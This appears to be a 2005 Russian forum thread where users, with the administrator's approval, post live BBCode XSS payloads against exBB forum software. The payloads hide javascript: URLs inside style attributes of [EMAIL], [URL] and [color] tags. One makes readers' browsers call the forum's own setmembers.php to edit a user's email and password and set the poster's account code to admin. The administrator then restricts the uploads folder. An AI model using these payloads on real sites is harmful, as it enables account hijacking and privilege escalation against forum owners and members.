 Отправлено: 18 Октября, 2005 - 10:35:32 |
ID |
|
Гость
|
| Не зарегистрирован! |
|
|
|
|
|
|
|
 |
 |
 |
|
[EMAIL=[URL=s as=`s@wew.ew]mailto:assss@wew.ew ]
sssssss[/URL][/EMAIL]` style=`background:url(javaSCrip t:alert(/Hi_from_hacker/))`
|
|
|
|
|
|
| Отправлено: 18 Октября, 2005 - 10:37:07 |
ID |
|
Гость
|
| Не зарегистрирован! |
|
|
|
|
|
|
|
|
|
|
|
[EMAIL=[URL=s as=`s@wew.ew]mailto:assss@wew.ew ]sssssss[/URL][/EMAIL]` style=`background:url(javaSCrip t:alert(/Hi_from_hacker/))`
|
|
|
|
|
|
| Отправлено: 18 Октября, 2005 - 10:41:47 |
ID |
|
Next
|
| Full Member |
|
 |
| Дата рег-ции: Июль 2005 : |
| Всего записей: 160 : |
| Покинул форум. |
|
|
|
|
|
|
|
|
|
|
|
|
 |
|
 |
| Отправлено: 18 Октября, 2005 - 12:47:48 |
ID |
|
Next
|
| Full Member |
|
|
| Дата рег-ции: Июль 2005 : |
| Всего записей: 160 : |
| Покинул форум. |
|
|
|
|
|
|
1
[color='Z=]'style='background:url(javascript:document.images[0].src="http://physmag.h1.ru/forum/setmembers.php? action=edit_user&checkaction=yes&userid=93 &membertitle=&emailaddress=lol@lol.ru&newname=Next&password= &homepage=&aolname=&icqnumber=&location=&interests=&signature= &numberofposts=0&avatar=noavatar.gif&membercode=ad &submit=%CE%F2%EF%F0%E0%E2%E8%F2%FC")'[/color]
(Отредактировано автором: 18 Октября, 2005 - 14:53:42) |
|
|
|
|
|
|
|
|
|
| Отправлено: 18 Октября, 2005 - 14:53:06 |
ID |
|
С.И. Доронин
|
| Администратор |
 |
 |
| Дата рег-ции: Сент. 2004 : |
| Всего записей: 1106 : |
| Покинул форум. |
|
|
|
|
|
|
Next
Цитата:| Похоже форумы exBB очень большая дыра. Сюдя по найденой инфе. Я тут побалуюсь немного для саморазвития. Ок? Проверю уязвимости. |
ОК! Дело нужное 
Цитата:
В первых двух файлах ничего нет кроме строчки
htrhtrhtrhtr
В последнем обычное сообщение с картинкой (судя по IP это другой Гость ):
Код:Здравствуйте, кто-нить знает, что это за сивол:
[img]http://goodboard.ru/uploads/astrostream/post-10-1128505270.jpg[/img] |
На Holm-е, где стоит сайт и форум, вообще довольно жесткие требования и свои установки на запуск файлов из директорий. Мне самому не удается часть файлов запустить на выполнение, например, я не могу развернуть поиск по форуму, хотя на другом бесплатном хостинге это делал без проблем.
|
|
|
|
|
|
|
|
|
|
| Отправлено: 18 Октября, 2005 - 14:58:15 |
ID |
|
Next
|
| Full Member |
|
|
| Дата рег-ции: Июль 2005 : |
| Всего записей: 160 : |
| Покинул форум. |
|
|
|
|
|
|
С.И. Доронин
Цитата:| В первых двух файлах ничего нет кроме строчки |
Как то парень туда вставил картинки и видео.
Большинство описаных дыр у меня не сработало.  Может чего то не та делаю, а может и прикрыты.
[color=#39]fffff[/color]' style=background:url(javascript:alert());
(Отредактировано автором: 18 Октября, 2005 - 16:54:29) |
|
|
|
|
|
| Отправлено: 18 Октября, 2005 - 16:04:35 |
ID |
|
С.И. Доронин
|
| Администратор |
|
|
| Дата рег-ции: Сент. 2004 : |
| Всего записей: 1106 : |
| Покинул форум. |
|
|
|
|
|
|
|
|
|
|
|
| Отправлено: 18 Октября, 2005 - 16:23:38 |
ID |
|
Next
|
| Full Member |
|
|
| Дата рег-ции: Июль 2005 : |
| Всего записей: 160 : |
| Покинул форум. |
|
|
|
|
|
|
| Я пока сдаюсь. |
|
|
|
|
|
| Отправлено: 18 Октября, 2005 - 16:31:29 |
ID |
|
С.И. Доронин
|
| Администратор |
|
|
| Дата рег-ции: Сент. 2004 : |
| Всего записей: 1106 : |
| Покинул форум. |
|
|
|
|
|
|
| Картинки он загрузил в папку /uploads. Я изменил права доступа на нее, сделал 711. |
|
|
|
|
|
| Отправлено: 18 Октября, 2005 - 16:50:23 |
ID |
|
Next
|
| Full Member |
|
|
| Дата рег-ции: Июль 2005 : |
| Всего записей: 160 : |
| Покинул форум. |
|
|
|
|
|
|
|
|
|
|
|
|
Тема - Я не на долго! |
|
Гость,эта тема закрыта или перемещена.
Но Вы можетеначинать темы
Вы можете отвечать на сообщения в других темах
Вы можете редактировать свои сообщения в других темах
Вы можете удалять свои сообщения в других темах
Вы можете голосовать в опросах других тем
|
|
|
|
